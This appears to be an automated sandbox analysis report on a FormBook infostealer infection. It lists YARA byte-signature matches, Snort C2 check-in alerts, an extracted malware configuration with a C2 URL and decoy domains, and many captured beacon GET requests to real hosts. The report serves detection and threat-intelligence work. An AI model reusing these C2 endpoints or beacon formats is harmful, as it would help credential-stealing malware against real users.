00000017.00000002.6860784078.00000000032F0000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6581:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cd20:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x9ddf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x16537:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000017.00000002.6865229521.00000000035B0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000017.00000002.6865229521.00000000035B0000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000017.00000002.6865229521.00000000035B0000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8f92:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16335:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15de1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16437:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165af:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1505c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa722:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000017.00000002.6865229521.00000000035B0000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6581:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cd20:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x9ddf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x16537:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
Process Memory Space: powershell.exe PID: 1740	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x177345:$b2: ::FromBase64String( 0x193eea:$b2: ::FromBase64String( 0x19424b:$b2: ::FromBase64String( 0x197a2b:$b2: ::FromBase64String( 0x197ade:$b2: ::FromBase64String( 0x1c2334:$b2: ::FromBase64String( 0x1c23e7:$b2: ::FromBase64String( 0x17dba:$s1: -join 0x1856c:$s1: -join 0xdc132:$s1: -join 0xe9207:$s1: -join 0xec5d9:$s1: -join 0xecc8b:$s1: -join 0xee77c:$s1: -join 0xf0982:$s1: -join 0xf11a9:$s1: -join 0xf1a19:$s1: -join 0xf2154:$s1: -join 0xf2186:$s1: -join 0xf21ce:$s1: -join 0xf21ed:$s1: -join
Process Memory Space: ielowutil.exe PID: 8008	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x63c41:$a1: 3C 30 50 4F 53 54 74 09 40
Process Memory Space: rundll32.exe PID: 7768	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x156375:$a1: 3C 30 50 4F 53 54 74 09 40 0x16f650:$a1: 3C 30 50 4F 53 54 74 09 40 0x1ec2dd:$a1: 3C 30 50 4F 53 54 74 09 40
Click to see the 27 entries

Snort Signatures

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 188.114.96.3

Timestamp:	192.168.11.20188.114.96.349786802031453 08/08/22-17:45:46.536997
SID:	2031453
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 154.80.183.133

Timestamp:	192.168.11.20154.80.183.13349802802031453 08/08/22-17:46:39.844942
SID:	2031453
Source Port:	49802
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 217.21.87.131

Timestamp:	192.168.11.20217.21.87.13149787802031449 08/08/22-17:45:58.222329
SID:	2031449
Source Port:	49787
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 217.160.0.178

Timestamp:	192.168.11.20217.160.0.17849754802031449 08/08/22-17:44:17.775827
SID:	2031449
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 188.114.96.3

Timestamp:	192.168.11.20188.114.96.349786802031412 08/08/22-17:45:46.536997
SID:	2031412
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 217.21.87.131

Timestamp:	192.168.11.20217.21.87.13149787802031453 08/08/22-17:45:58.222329
SID:	2031453
Source Port:	49787
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 154.80.183.133

Timestamp:	192.168.11.20154.80.183.13349802802031449 08/08/22-17:46:39.844942
SID:	2031449
Source Port:	49802
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 217.160.0.178

Timestamp:	192.168.11.20217.160.0.17849754802031453 08/08/22-17:44:17.775827
SID:	2031453
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 217.21.87.131

Timestamp:	192.168.11.20217.21.87.13149787802031412 08/08/22-17:45:58.222329
SID:	2031412
Source Port:	49787
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 154.80.183.133

Timestamp:	192.168.11.20154.80.183.13349802802031412 08/08/22-17:46:39.844942
SID:	2031412
Source Port:	49802
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 217.160.0.178

Timestamp:	192.168.11.20217.160.0.17849754802031412 08/08/22-17:44:17.775827
SID:	2031412
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 188.114.96.3

Timestamp:	192.168.11.20188.114.96.349786802031449 08/08/22-17:45:46.536997
SID:	2031449
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Yara detected FormBook

Source: Yara match	File source: 00000015.00000002.3485649482.0000000002E40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.3081887285.000000000B761000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.3509051693.000000001EB00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.6883034007.0000000003870000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.3203308089.000000000B761000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.6860784078.00000000032F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.6865229521.00000000035B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png

Avira URL Cloud: Label: malware

Source: 30.2.firefox.exe.2f1d7970.0.unpack	Avira: Label: TR/Patched.Ren.Gen8
Source: 30.0.firefox.exe.2f1d7970.0.unpack	Avira: Label: TR/Patched.Ren.Gen8
Source: 30.0.firefox.exe.2f1d7970.1.unpack	Avira: Label: TR/Patched.Ren.Gen8
Source: 23.2.rundll32.exe.57a7970.4.unpack	Avira: Label: TR/Patched.Ren.Gen8
Source: 23.2.rundll32.exe.36008a0.1.unpack	Avira: Label: TR/Patched.Ren.Gen8

Source: 00000015.00000002.3485649482.0000000002E40000.00000040.10000000.00040000.00000000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.ymsb.info/tuid/"], "decoy": ["qimazii2893.com", "secureartist.com", "fullrmc.cloud", "hydroknow.com", "komerco-latam.com", "linuxizes.com", "onlinevoting.online", "et-secure.info", "shoolinart.net", "idealofta.store", "tresbichos.com", "worldbrands.wine", "susanne-morel-autorin.com", "blueonb.com", "programmedsolution.com", "eo3ql7.xyz", "digitalmarketingdegreemx.com", "contactar-parking.com", "billypainter.com", "pinitlabs.com", "theconsciouskart.com", "growonweb3.com", "laforet.info", "bynecessiti.com", "sowgh.com", "studioriopelle.com", "edico-al.com", "ghanesa.xyz", "emitacademy.com", "xc8b49c6mnmdts.xyz", "kondo0071.com", "wwwf2dni.com", "hikingtaibah.com", "muziclips.com", "vivi-italiano.com", "gebilay.com", "mojawapo.com", "aia-art.com", "spurgadgetclubtoday.com", "we-gamble.net", "kukula.biz", "maximilianvonah.com", "chaosschizophrenia.com", "thrrealestate.com", "minotaur.network", "crayative.com", "itsfindia.online", "beachandlakeresort.net", "psoriasis-cure.info", "receiveprim.online", "coolarts.xyz", "147bronzeway.com", "ap-render.com", "perspectiive.com", "5phutthuocbainhenhang.com", "vtubber.com", "motorcyclehelmets.win", "hongkongfun.site", "cecilialederer.com", "productislandsize.xyz", "5111.site", "conversacion.online", "svgjp.com", "detalinb.online"]}

Source:	Binary string: l8C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.pdb source: powershell.exe, 00000004.00000002.3064710007.00000000054BC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ielowutil.pdbGCTL source: rundll32.exe, 00000017.00000002.6901001103.00000000057A7000.00000004.10000000.00040000.00000000.sdmp, rundll32.exe, 00000017.00000002.6871882475.0000000003600000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.4148473571.000000002F1D7000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: l8C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.pdb\| source: powershell.exe, 00000004.00000002.3056176789.0000000005352000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: ielowutil.exe, 00000015.00000003.2869442608.000000001EB08000.00000004.00000800.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000003.2879705616.000000001ECB7000.00000004.00000800.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3513266224.000000001EE60000.00000040.00000800.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3519720123.000000001EF8D000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 00000017.00000002.6898086927.000000000537D000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 00000017.00000003.3485670121.0000000004EE8000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000017.00000003.3494974915.000000000509C000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000017.00000002.6887898372.0000000005250000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: ielowutil.exe, ielowutil.exe, 00000015.00000003.2869442608.000000001EB08000.00000004.00000800.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000003.2879705616.000000001ECB7000.00000004.00000800.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3513266224.000000001EE60000.00000040.00000800.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3519720123.000000001EF8D000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 00000017.00000002.6898086927.000000000537D000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 00000017.00000003.3485670121.0000000004EE8000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000017.00000003.3494974915.000000000509C000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000017.00000002.6887898372.0000000005250000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: rundll32.pdb source: ielowutil.exe, 00000015.00000003.3479628208.000000000336A000.00000004.00000020.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3487380043.00000000030D0000.00000040.10000000.00040000.00000000.sdmp
Source:	Binary string: rundll32.pdbGCTL source: ielowutil.exe, 00000015.00000003.3479628208.000000000336A000.00000004.00000020.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3487380043.00000000030D0000.00000040.10000000.00040000.00000000.sdmp
Source:	Binary string: ielowutil.pdb source: rundll32.exe, 00000017.00000002.6901001103.00000000057A7000.00000004.10000000.00040000.00000000.sdmp, rundll32.exe, 00000017.00000002.6871882475.0000000003600000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.4148473571.000000002F1D7000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: firefox.pdb source: rundll32.exe, 00000017.00000003.4143320533.0000000007CC6000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000017.00000003.4079152857.0000000007642000.00000004.00000800.00020000.00000000.sdmp

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 103.150.61.226 80
Source: C:\Windows\explorer.exe	Network Connect: 66.29.155.228 80
Source: C:\Windows\explorer.exe	Network Connect: 185.27.134.153 80
Source: C:\Windows\explorer.exe	Network Connect: 145.14.153.89 80
Source: C:\Windows\explorer.exe	Network Connect: 104.21.51.250 80
Source: C:\Windows\explorer.exe	Network Connect: 142.250.185.179 80
Source: C:\Windows\explorer.exe	Network Connect: 154.210.161.216 80
Source: C:\Windows\explorer.exe	Network Connect: 89.46.108.25 80
Source: C:\Windows\explorer.exe	Network Connect: 216.18.208.202 80
Source: C:\Windows\explorer.exe	Network Connect: 81.95.96.29 80
Source: C:\Windows\explorer.exe	Network Connect: 154.23.227.120 80
Source: C:\Windows\explorer.exe	Network Connect: 217.160.0.178 80
Source: C:\Windows\explorer.exe	Network Connect: 130.211.17.207 80
Source: C:\Windows\explorer.exe	Network Connect: 154.80.183.133 80
Source: C:\Windows\explorer.exe	Network Connect: 188.114.96.3 80
Source: C:\Windows\explorer.exe	Network Connect: 217.21.87.131 80
Source: C:\Windows\explorer.exe	Network Connect: 154.95.160.71 80
Source: C:\Windows\explorer.exe	Network Connect: 199.15.163.148 80
Source: C:\Windows\explorer.exe	Network Connect: 142.251.39.115 80
Source: C:\Windows\explorer.exe	Network Connect: 13.248.216.40 80
Source: C:\Windows\explorer.exe	Network Connect: 104.21.39.116 80

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:49754 -> 217.160.0.178:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:49754 -> 217.160.0.178:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:49754 -> 217.160.0.178:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:49786 -> 188.114.96.3:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:49786 -> 188.114.96.3:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:49786 -> 188.114.96.3:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:49787 -> 217.21.87.131:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:49787 -> 217.21.87.131:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:49787 -> 217.21.87.131:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:49802 -> 154.80.183.133:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:49802 -> 154.80.183.133:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:49802 -> 154.80.183.133:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.ghanesa.xyz
Source:	DNS query: www.coolarts.xyz
Source:	DNS query: www.xc8b49c6mnmdts.xyz
Source:	DNS query: www.productislandsize.xyz

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.ymsb.info/tuid/

Source: Joe Sandbox View

ASN Name: PC24NET-AS-IDPTPC24TelekomunikasiIndonesiaID PC24NET-AS-IDPTPC24TelekomunikasiIndonesiaID

Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=csUEPuyljQauctU/Z8NbC9ms5fC6XWDYEeq9yCIh8wbky0EJAlqn2MT949GlS8zP8lU0&M8s=w86DJpgx5FYlUfRP HTTP/1.1Host: www.maximilianvonah.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=83varyKolJl8CknPQYlgcSGzNVcyrkZOB+D5ZpiMClZzhWRqo67UpTDjwxWvk8XKYz02 HTTP/1.1Host: www.emitacademy.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=uDqjMC0TPYTc8b3BnUYVD5r+dOFIeilgQYFIqhS/31oxMeb2xRi82/WbnXFAxC3dxs3o HTTP/1.1Host: www.linuxizes.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=gaITN7i6/i636J8ZdAepXbFiroAuKTRwrMdc4y4CfBKs7kJVyv+3PWgk2/xmwUEu5s/a&M8s=w86DJpgx5FYlUfRP HTTP/1.1Host: www.muziclips.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=cJ4k7DdOtYQngKRIFYz9xfmhcqtIvpGa85+jixf523tlwbXsspzXRN02o1TtG1NqJ3tW HTTP/1.1Host: www.ghanesa.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=Il3LuUn17XOwO1L66Bn3hjajRgSpI6QuPLSUULkpfr+VyFXt3qGq+SpnJy79y37sHeXr HTTP/1.1Host: www.worldbrands.wineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=CvVARU9fNp+vKMKeLa6AXw4JheY799aWEuKndqaVaC/gFtqDUvqUT5Zi2l9zF52EiAp1&M8s=w86DJpgx5FYlUfRP HTTP/1.1Host: www.programmedsolution.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=LeABM0dRx+cjh3zMeGVoLpl9dcpUDuhE6Ym2dCR4YXuE8jour2rN+gEOINsGd1piKr34&M8s=w86DJpgx5FYlUfRP HTTP/1.1Host: www.secureartist.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=x1lqSWX2LKO1JKV9bkchYXFCTPqYoW8UylSztnXFuZ2/7+2KqJfWLK3RcwQMnMv5S2vv HTTP/1.1Host: www.ymsb.infoConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=9gXeVPWqRuIX9bIiSDPSAo7Wpwb+1c/G4dykJbOMN5RD0q8y2Pxv3NPChbg6lQ1LsmOi&M8s=w86DJpgx5FYlUfRP HTTP/1.1Host: www.coolarts.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=ZWTx79zL1WMN2pQcyBYApaV2+B3RRlV7SjHEUZJPfkwT7h+aiOtTufuSzn8LCa71qLhI HTTP/1.1Host: www.ap-render.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=5V7M8j5VuGkiy9NL3tIypAJy22VFPCeBH5Oh5nibDDbINvkaWpZ6bb8s5rlg19isjBzt&M8s=w86DJpgx5FYlUfRP HTTP/1.1Host: www.receiveprim.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=mghAatraeoVXXTpIg6GKnKl23LbAAQF/82d90oG2Rt9sZLGICR2WykimnZjjCp2p0vtb HTTP/1.1Host: www.itsfindia.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=p0pyYx380zTi+CiqScB4rLgyoRdRZyFFdRM5Rh8HyCuUL1S9LlJi1JnCbSa7CQi/RAeh&8pB=3fY8ljB8rp-H HTTP/1.1Host: www.svgjp.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=Xot5lTp2K0ClnYt2dL3qfCxcaVN+/32Qk6xa6/2CoOF7guyvNDwTfZphG6kmH2ULd7pQ&8pB=3fY8ljB8rp-H HTTP/1.1Host: www.147bronzeway.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=uDqjMC0TPYTc8b3BnUYVD5r+dOFIeilgQYFIqhS/31oxMeb2xRi82/WbnXFAxC3dxs3o HTTP/1.1Host: www.linuxizes.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=cJ4k7DdOtYQngKRIFYz9xfmhcqtIvpGa85+jixf523tlwbXsspzXRN02o1TtG1NqJ3tW&8pB=3fY8ljB8rp-H HTTP/1.1Host: www.ghanesa.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=HIOGqwzZ3Isl7OEwvKn7zxoCIrzNSH0uht2lzyEyFHfgP4651xyJdMCZXys0BRyGrE8f&8pB=3fY8ljB8rp-H HTTP/1.1Host: www.wwwf2dni.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=Il3LuUn17XOwO1L66Bn3hjajRgSpI6QuPLSUULkpfr+VyFXt3qGq+SpnJy79y37sHeXr HTTP/1.1Host: www.worldbrands.wineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=CvVARU9fNp+vKMKeLa6AXw4JheY799aWEuKndqaVaC/gFtqDUvqUT5Zi2l9zF52EiAp1&M8s=w86DJpgx5FYlUfRP HTTP/1.1Host: www.programmedsolution.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=LeABM0dRx+cjh3zMeGVoLpl9dcpUDuhE6Ym2dCR4YXuE8jour2rN+gEOINsGd1piKr34&M8s=w86DJpgx5FYlUfRP HTTP/1.1Host: www.secureartist.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=x1lqSWX2LKO1JKV9bkchYXFCTPqYoW8UylSztnXFuZ2/7+2KqJfWLK3RcwQMnMv5S2vv HTTP/1.1Host: www.ymsb.infoConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=9gXeVPWqRuIX9bIiSDPSAo7Wpwb+1c/G4dykJbOMN5RD0q8y2Pxv3NPChbg6lQ1LsmOi&M8s=w86DJpgx5FYlUfRP HTTP/1.1Host: www.coolarts.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=ZWTx79zL1WMN2pQcyBYApaV2+B3RRlV7SjHEUZJPfkwT7h+aiOtTufuSzn8LCa71qLhI HTTP/1.1Host: www.ap-render.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=5V7M8j5VuGkiy9NL3tIypAJy22VFPCeBH5Oh5nibDDbINvkaWpZ6bb8s5rlg19isjBzt&M8s=w86DJpgx5FYlUfRP HTTP/1.1Host: www.receiveprim.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=mghAatraeoVXXTpIg6GKnKl23LbAAQF/82d90oG2Rt9sZLGICR2WykimnZjjCp2p0vtb HTTP/1.1Host: www.itsfindia.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=Sp+Vnoj41xF+X27kbZ2gbhhmlpTYO/ymXHQnMWpJpfoG8qqLVUKSMWMbMwd5uBvOkHI+&APPTx=9r9PSR HTTP/1.1Host: www.blueonb.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=WEOQpGNSR38PhgWGQI/4C8NMlFMwGI3qKGQVHk5AxuPmXhsKWgjXW9kcijjoxdm/j8Qu&APPTx=9r9PSR HTTP/1.1Host: www.mojawapo.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=cJ4k7DdOtYQngKRIFYz9xfmhcqtIvpGa85+jixf523tlwbXsspzXRN02o1TtG1NqJ3tW&APPTx=9r9PSR HTTP/1.1Host: www.ghanesa.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=uDqjMC0TPYTc8b3BnUYVD5r+dOFIeilgQYFIqhS/31oxMeb2xRi82/WbnXFAxC3dxs3o HTTP/1.1Host: www.linuxizes.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=CvVARU9fNp+vKMKeLa6AXw4JheY799aWEuKndqaVaC/gFtqDUvqUT5Zi2l9zF52EiAp1&APPTx=9r9PSR HTTP/1.1Host: www.programmedsolution.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=mHFj8MSWDx8nkU1eAV++NnKhhWbL51TVGCJDIAbvrDEUS4qoSy90C4E1UO2kwJf1rSvR&APPTx=9r9PSR HTTP/1.1Host: www.hikingtaibah.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=vocXnNkofrtqV2skOi0toh6MZkzBPgY3NaQb1h7517U8PmTkl0G2bMX+HFjiIYqpZAQ5&APPTx=9r9PSR HTTP/1.1Host: www.xc8b49c6mnmdts.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=Il3LuUn17XOwO1L66Bn3hjajRgSpI6QuPLSUULkpfr+VyFXt3qGq+SpnJy79y37sHeXr HTTP/1.1Host: www.worldbrands.wineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=CvVARU9fNp+vKMKeLa6AXw4JheY799aWEuKndqaVaC/gFtqDUvqUT5Zi2l9zF52EiAp1&M8s=w86DJpgx5FYlUfRP HTTP/1.1Host: www.programmedsolution.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
